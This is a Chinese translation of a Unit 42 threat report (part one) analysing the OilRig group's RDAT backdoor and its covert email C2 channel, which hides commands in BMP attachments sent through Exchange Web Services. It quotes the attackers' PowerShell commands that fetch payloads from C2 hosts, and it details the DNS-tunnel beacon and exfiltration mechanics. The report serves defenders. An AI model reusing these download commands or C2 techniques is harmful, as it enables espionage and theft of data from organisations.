OilRig又瞄准了中东电信组织,并在其代码库中增加了带有隐写术的新型C2通道(上)
2020-07-27 11:31:28 Author: www.4hou.com(查看原文) 阅读量:378 收藏

Espionage-r3d2.png

OilRig,又名Helix Kitten或NewsBeef ,是一个主要活动于中东地区的APT组织。据信该组织成立于2015年,并得到了伊朗政府的支持。该组织曾建立了一个虚假的VPN 门户网站,用于并传播具有合法数字签名的恶意软件,其攻击目标涵盖了沙特阿拉伯、以色列、阿联酋、黎巴嫩、科威特、卡塔尔、美国和土耳其等多个国家的政府机构、金融机构以及科技公司。

Palo Alto Networks公司旗下威胁情报团队Unit 42的研究人员在本周三称,他们在今年5月至6月期间观察到了两起由该组织发起的攻击活动。攻击伪装成来自一个位于中东地区的政府机构,但Unit 42的研究人员表示,这是该组织常用的一种策略——利用窃取的凭证和劫持的账户将政府机构作为其真实攻击的启动平台。

早在2018年,Unit 42就发现OilRig在攻击中使用了一个名为QUADAGENT的PowerShell后门,它也被ClearSky Cyber Security和FireEye认定为OilRig组织的工具。当时Unit 42就发现使用基于脚本的后门的确是OilRig组织常用的技术,但将这些脚本封装到可移植可执行(PE)文件中却并不是该组织经常使用的策略。

Unit 42在这两起活动发现了两个彼此略有不同的QUADAGENT PE文件。其中一个是一个基于Microsoft .NET Framework的dropper,同时它也会打开一个诱饵对话框,而另一个样本是一个通过bat2exe工具生成的PE文件。最终被植入到受感染设备上的QUADAGENT后门几乎是相同的,唯一的区别是命令和控制(C2)服务器和随机混淆。

总而言之,遭受OilRig攻击的组织机构甚多,覆盖行业甚广,从政府、媒体、能源、交通、物流一直到技术服务供应商。

技术分析

在分析针对一个中东电信组织的攻击时,研究人员发现了一种与OilRig相关的工具的变体,研究人员使用一种最新出现的基于电子邮件的命令和控制(C2)通道,攻击者用它来执行隐写术来隐藏附加到电子邮件中的位图图像中的命令和数据,以下研究人员将这种攻击称为RDAT。

2020年5月,赛门铁克发布了针对Greenbug小组的研究,该小组针对东南亚的电信组织,其中包括最近在2020年4月进行的攻击。研究人员观察到与2020年4月对中东的一家电信组织的攻击相关的类似策略和工具,特别是使用自定义Mimikatz工具,Bitvise,PowerShell下载程序以及研究人员作为RDAT跟踪的自定义后门。 Unit 42之前将Greenbug与研究人员在2015年发现的威胁组织OilRig联系起来。Greenbug间谍组织正在对南亚的电信公司进行APT攻击,活动最早发生在2020年4月,电子邮件似乎是该组织使用的初始感染媒介。Greenbug在这些攻击中混合使用了现成的工具和开源技术。该组织似乎有兴趣获得对数据库服务器的访问权限;我们看到它窃取凭据,然后使用被窃取的凭据测试与这些服务器的连接。研究人员最早在2017年就看到了OilRig的操作中使用的RDAT工具,但后来研究人员发现了2018年创建的相关示例,该示例使用了不同的命令和控制通道。当研究人员分析此样本时,研究人员发现了一个最新出现的基于电子邮件的C2通道,与隐秘术结合使用可以窃取数据。

研究人员从2017年开始跟踪RDAT,当研究人员第一次看到这个工具被上传到webshell中,与研究人员在2017年9月26日发布的Striking Oil博客中讨论的TwoFace webshell相关。RDAT自2017年以来一直在积极开发,这导致了该工具的多种变体,它们依赖于HTTP和DNS隧道来实现C2通信。2018年6月,RDAT的开发者增加了使用Exchange Web Services (EWS)发送和接收C2通信邮件的功能。这个基于电子邮件的C2通道在设计上很新颖,因为它依靠隐写术来隐藏命令,并在附在电子邮件中的BMP图像中泄露数据。使用电子邮件和隐写图像在C2中携带数据,会导致这种行为更难以被发现,从而增加了逃避防御的可能性。

Palo Alto Networks的客户受到WildFire和Cortex XDR的保护,可以识别所有的RDAT样本为恶意,还有DNS安全和URL过滤,可以识别并阻止C2活动。

攻击细节

研究人员第一次发现RDAT的存在是在2017年10月7日,当时研究人员观察到它被上传到一个webshell中,就在11天之前,研究人员发表了研究人员的研究,揭露了这个攻击者的webshell活动。研究人员相信,一旦webshell的使用被暴露,该小组就会试图使用RDAT有效载荷继续访问服务器。

在2020年4月,研究人员观察到中东的一个电信组织可能遭到破坏。与此活动相关的文件包括用于转储凭证的自定义Mimikatz示例、研究人员认为用于创建SSH隧道的Bitvise客户机示例和名为RDAT的自定义后门。从研究人员收集的初始RDAT样本中,研究人员能够扩展样本集并将之前看到的ISMDOOR样本也关联起来。考虑到RDAT在与OilRig相关的webshell中的使用、代码相似性和战术相似性,研究人员确信RDAT是OilRig部署的工具。

收集到的两个相关工具的PDB路径与研究人员以前看到的类似, PDB路径为C:\ Users \ Void \ Desktop \ dns \ client \ x64 \ Release \ client.pdb和C:\ Users \ Void \ Desktop \ RDAT \ client \ x64 \ Release \ client.pdb,后者是工具名称的基础。如图1所示,使用C:\ Users \ Void \ Desktop的PDB字符串中用户的文件路径,研究人员收集了带有该文件路径的十几个样本,其中大多数样本被标识为称为ISMDOOR的已知OilRig工具。考虑到相关工具的小集群,这些工具很可能是由一个单独的攻击者或控制代码库的攻击者组开发的。

1.png

PDB字符

研究人员还观察到PowerShell下载程序试图从域digi.shanx[.]icu中检索文件。

2.png

PowerShell和基础架构的相似之处

在赛门铁克的Greenbug报告中,一旦攻击者获得对目标主机的交互式访问权,就可以观察到他们执行PowerShell命令来执行漏洞利用后活动。在一个实例中,执行了Powershell脚本以从 C2 apps.vvvnews[.]com检索RDAT,将其保存到C:\Programdata\Nt.dat,然后将其移动到C:\Programdata\Vmware\VMware.exe,在以下代码段中可见:

(New-Object System.Net.WebClient).DownloadFile(‘http://apps[.]vvvnews .com:8080/Yf.dat’, ‘C:\Programdata\Nt.dat’);

在研究过程中,研究人员使用不同的C2收集了非常相似的PowerShell脚本,并且命令有所不同,但是文件路径为 C:\Programdata\Nt.dat:

$WebClient = New-Object System.Net.WebClient; $WebProxy = New-Object System.Net.WebProxy(‘http://192.168.3.4:8080’,$true); $WebClient.Proxy = $WebProxy;Try {$WebClient.DownloadFile(‘http://digi.shanx[.]icu:8080/Nt.dat’,’C:\Programdata\Nt.dat’)} Catch {$_.Exception.Message | out-file C:\Programdata\Exceptions.dat};

不幸的是,由于C2服务器http://digi.shanx[.]icu:8080在分析时不可用,因此研究人员无法验证Nt.dat的内容。

RDAT后门

攻击者对2020年3月1日对中东电信组织的攻击中使用的RDAT有效载荷进行了编译,并将其配置为使用命令行上提供的域或rsshay[.]com硬编码域作为其C2服务器。与以前的RDAT示例不同,此特定示例仅使用DNS隧道进行C2通信,而没有HTTP后备通道。此RDAT示例只能在其DNS隧道中使用TXT查询,并将发出如下结构的查询:

< encoded data >.< encoding method, 0 for base64 or 1 for base32 >< encryption key >.< C2 domain >

如果攻击者包含命令行参数1,则子域的编码数据部分将被编码为base32;否则,它将使用base64。有效载荷还会替换base64编码子域中的字符,以避免包含域名中不允许的字符,例如=带有-,/带有_和+带有-a。例如,研究人员在测试过程中观察到以下信标:

91mzXgXT-a9sLktr-aOz8pAw–.0R2.rsshay[.]com

信标(子域)中的编码数据是使用AES生成的密文和通过将两个随机选择的字母数字字符(也存在于子域中,紧接C2域之前)串联而生成的16字节密钥。例如,如果子域中包含的两个随机字母数字字符为R2,则有效载荷将使用字符串R2R2R2R2R2R2R2R2R2作为密钥来加密数据。上面的示例信标将解密为1,6,1.0_Y,2619,其结构如下:

< communications type value >,< ID value from config >,< hardcoded payload version >,< randomly generated number >

有效载荷使用base64解码对TXT查询的答案的响应,并使用与请求相同的AES密码和密钥进行解密。有效载荷尝试使用正则表达式“[^,]+” 解析解密的明文,以获取命令值和以逗号分隔的命令参数。然后,有效载荷使用命令处理程序检查命令值,该命令处理程序具有执行命令以及上传和下载文件的能力,如表1所示。

3.png

RDAT中可用的命令

相关RDAT

在研究人员的研究过程中,研究人员重点研究了可执行文件的内容和其他各种属性,从而收集了几个其他示例。表2显示了这些样本的编译时间,它们各自的C2服务器以及当攻击者将它们安装在受感染的系统上时使用的服务名称。如编译时间所示,此工具自2017年以来一直在开发中,研究人员收集的最新样本是在2020年4月编译的。2017年8月编译的样本已上传到与TwoFace相关的webshell,而样本在3月编译了2020年用于攻击中东电信组织。 2020年4月收集的RDAT样本也已交付给同一电信组织,该组织已配置为使用新的基础结构(sharjatv[.]com, wwmal[.]com),,并支持DNS A和AAAA记录为其DNS隧道C2通道。

研究人员发现的最有趣的示例于2018年7月24日进行了编译,该示例包括一个最新出现的C2通道,该通道使用Exchange Web服务(EWS)API来发送和接收包含隐写图像作为附件的电子邮件。这个最新出现的C2通道补充了其他RDAT样本中的HTTP和DNS隧道C2通道,研究人员将在接下来的部分中详细讨论所有这些通道。

4.png

相关的RDAT样本

使用Exchange Web服务和隐写术的新型C2

RDAT示例中的新C2通道通过与使用EWS API的本地Exchange服务器交互,将电子邮件用于C2通道。有两个由攻击者控制的硬编码电子邮件地址:koko@acrlee[.]com和h76y@acrlee[.]com。 RDAT有效载荷使用这两个电子邮件地址发送和接收电子邮件以方便C2。要从受感染主机发送电子邮件,有效载荷将使用与登录到受感染主机的帐户关联的电子邮件,因为它使用WinHTTP库向API发出请求,且“WINHTTP_OPTION_AUTOLOGON_POLICY” 字段设置为“WINHTTP_AUTOLOGON_SECURITY_LEVEL_LOW”,它会自动尝试登录交换使用默认凭据。

攻击者通过将电子邮件从其中一个电子邮件地址发送到受感染帐户的电子邮件地址来与有效载荷进行通信。要接收来自攻击者的电子邮件,有效载荷将:

· 首先创建收件箱规则,将参与者的电子邮件移动到垃圾文件夹;

· 不断在垃圾文件夹中寻找演员发送的带有附件的电子邮件;

· 处理隐藏在BMP映像中的入站命令的附件。

为了与攻击者进行通信,有效载荷从登录到受感染系统的帐户发送电子邮件,并执行以下操作:

· 在“To”字段中创建一个由攻击者控制的电子邮件地址草稿电子邮件;

· 将带有隐藏消息或数据的BMP图像附加到草稿中;

· 将草稿发送到演员的电子邮件地址。

为了显示这个通道,研究人员分析了发送到EWS API的出站HTTP POST请求,并截取了这些请求的屏幕截图。POST请求均具有“firefox”异常的“用户代理”,并使用简单对象访问协议(SOAP)消息与Exchange服务器进行交互。第一个请求包含一条SOAP消息,用于创建名为“ExchangeRule”的收件箱规则,该规则将所有入站电子邮件从C2电子邮件地址移至“junkemail”文件夹。图3显示了包含创建此收件箱规则的SOAP消息的HTTP POST请求。规则名称在红色框中突出显示,条件包括在蓝色框中包含攻击者的电子邮件地址,以及在绿色框中包括将其移至垃圾文件夹的操作。

5.png

HTTP POST请求创建收件箱规则,以将电子邮件从攻击者移动到垃圾文件夹

然后,有效载荷将不断在垃圾文件夹中查找来自攻击者的新电子邮件,有效载荷将向EWS API发出请求,以检查攻击者的电子邮件地址中带有附件的未读电子邮件。图4显示了HTTP POST的有效载荷问题,以检查来自攻击者的入站电子邮件,其中攻击者的电子邮件地址在红色框中,蓝色检查附件,在绿色框中指定垃圾文件夹。

6.png

HTTP POST请求发送到Exchange服务器,以查找来自攻击者的入站电子邮件

如果有效载荷获得了攻击者发送的电子邮件,则有效载荷将处理对SOAP请求的响应,并将其他请求发送到EWS API,以获取电子邮件,附件和附件的内容。有效载荷使用正则表达式处理对这些请求的响应,以在XML中查找指定的值。有效载荷使用正则表达式在服务器的响应中查找以下值:

· Id和ChangeKey用于获取指定的电子邮件;

· AttachmentId ID用于从电子邮件中获取附件。

然后,将这些内容保存到%TEMP%文件夹中的文件扩展名为“ .bmp”的文件中。然后,它发出SOAP请求以删除已处理的电子邮件。这样就完成了有效载荷从攻击者接收入站通信的过程。

为了将其信标发送并传播出去,有效载荷将与EWS API交互以执行以下三个步骤:

· 保存电子邮件草稿,并在“收件人”字段中使用攻击者的电子邮件地址;

· 将包含隐藏数据的BMP图像附加到已保存的草稿电子邮件中;

· 发送已保存的草稿电子邮件。

图5显示了在发送之前附带了BMP图像的电子邮件草稿。图中“To”字段中显示了参与者的电子邮件地址,包含隐藏数据作为附件的BMP图像,以及包含未知目的字符串的主题和消息正文。

7.png

Outlook Web App的屏幕快照,显示了由有效载荷创建的电子邮件草稿,然后将其发送给攻击者

为了执行此功能,有效载荷会创建一封电子邮件并将其另存为草稿。这样,它可以在发送电子邮件之前附加包含隐藏数据的图像。图6显示了对EWS API的SOAP请求,指定服务器应将电子邮件保存到红色和蓝色框中的草稿文件夹中,将攻击者的电子邮件地址保存在绿色框中。

8.png

HTTP POST请求在附加图像之前创建电子邮件草稿

将电子邮件保存在草稿文件夹中后,有效载荷将使用对EWS API的HTTP POST请求将BMP图像附加到电子邮件。图7显示了对EWS API的请求,该请求在红色框中包括附件的文件名,蓝色框中包括附件的base64内容。

9.png

HTTP POST请求将图像附加到电子邮件草稿

有效载荷向EWS API发出最后一个请求,以将带有附件BMP图像的电子邮件草稿发送给攻击者。图8显示了由有效载荷发出的HTTP POST请求,该请求以红色框中突出显示的SendItem操作发送电子邮件。

10.png

HTTP POST请求将电子邮件草稿发送到攻击者的电子邮件地址

本文翻译自:https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/44wV
如有侵权请联系:admin#unsafe.sh